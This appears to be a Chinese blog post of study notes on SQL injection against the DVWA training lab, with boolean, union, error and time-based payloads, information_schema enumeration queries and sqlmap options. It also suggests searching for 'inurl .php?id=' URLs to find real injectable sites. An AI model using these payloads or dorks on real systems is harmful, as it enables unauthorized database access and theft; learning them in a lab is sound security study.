Sql注入学习

Sql注入学习

  • 需要用到靶机DVWA.
  • 由于忘记了账号密码,用Navicat去本地服务器找到DVWA数据库里的user表
    user表
  • 可知默认账号有五个 密码通过md5加密,去百度使用在线解密即可

进入DVWA后,选择low安全级别

  • 方法一
    • 使用’ or 1==1 - -ddddd 获取了所有用户信息
    • 封闭前面语句 在给予一个绝对真的条件 在注释掉后面语句
    • 由于sql语句前面内容已经写死,想要查询更多的内容就需要union来进行联合查询
  • 方法二
    • 使用Union来联合查询
    • 问题1:Union 需要查询字段数相同
      • 可以通过数字补充来猜且同步字段数
      • 例:select * from dvwa.users union select user_login,user_pass,1,2,3,3 from …
    • 问题2:需要知道你想要查询的字段名称,表名称,库名称
      • 通过字典库来获取
    • 注意点
      • 字段名称不是union后的而是union前的
      • 不需要前面查询语句的信息可以通过加上where(假条件)来保证前面语句不成立即可
        • 例:select * from dvwa.users where 1=3 union select user_login,user_pass,1,2,3,3 from …

字典库:information_schema

TABLES表
select * from information_schema.TABLES;(\G更直观的看)

  • TABLE_SCHEMA: 库名字
  • TABLE_NAME: 表名字

COLUMNS表

  • TABLE_SCHEMA: 库名字
  • TABLE_NAME: 表名字
  • COLUMN_NAME 字段名字

所以

select DISTINCT TABLE_SCHEMA from information_schema.TABLES; 等价于 show databases
select TABLE_NAME from INFORMATION_SCHEMA.tables where TABLE_SCHEMA=‘dvwa’; //等价于show tables
select TABLE_SCHEMA,GROUP_CONCAT(TABLE_NAME) from information_schema.TABLES GROUP BY TABLE_SCHEMA\G
通过库分组整合表
select COLUMN_NAME from information_schema.columns where TABLE_SCHEMA=’…’ and TABLE_NAME=’…’ 获得字段名

权限限制:查询时使用的用户是开发者定义的,所以能查询的库取决于定义用户的权限

手动注入实战

  1. 基于错误的注入
    • 使用单引号看是否有系统报错(是否有过滤)
    • 试探注入漏洞
  2. 基于布尔的注入
    • 'or 1=1 - - suibian
    • ’ 闭合前面的条件
    • or 1=1 给真条件
      • -suibian注释后面的语句
  3. 基于Union的注入
    • 先union select 1,2,3,…确认猜测字段数
      • 字段少了:补充1,2,3…即可
      • 字段多了:通过concat来合字段
    • ’ union select user() ,database(),version() – suibian 获取当前库和当前用户,当前数据库版本信息*
    • 通过字典库获取
  4. 基于时间的盲注
    • 真条件’ and sleep(5) – suibian 确认是否有注入点
    • 通过字典库获取

sqlmap自动化注入

  • -u URL, 包含目标参数的url (“http://www.site.com/vuln.php?id=1”)
    • 百度获取有可能注入url:搜索 inurl .php?id=
    • -batch 自己判断数据库
    • -p 指定参数
    • -dbs 获取所有数据库信息 -user 获取所有用户
    • -D 指定库 -T 指定表 -C 指定列
    • –sql-shell 进入交互模式 -q退出

!!POST传参时,-cookie=…而不是-cookie:…

在这里插入图片描述
在这里插入图片描述

Mysql基础

Mysql 进入 show databases(user); 查看所有数据库(表)
use []数据库名]; 选择数据库
select database(); 查看当前数据库
select user(); 查看当前用户名
select version(); 查看当前数据库版本信息
describe users; 查看表数据结构
limit (数字) 来限制查询行

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值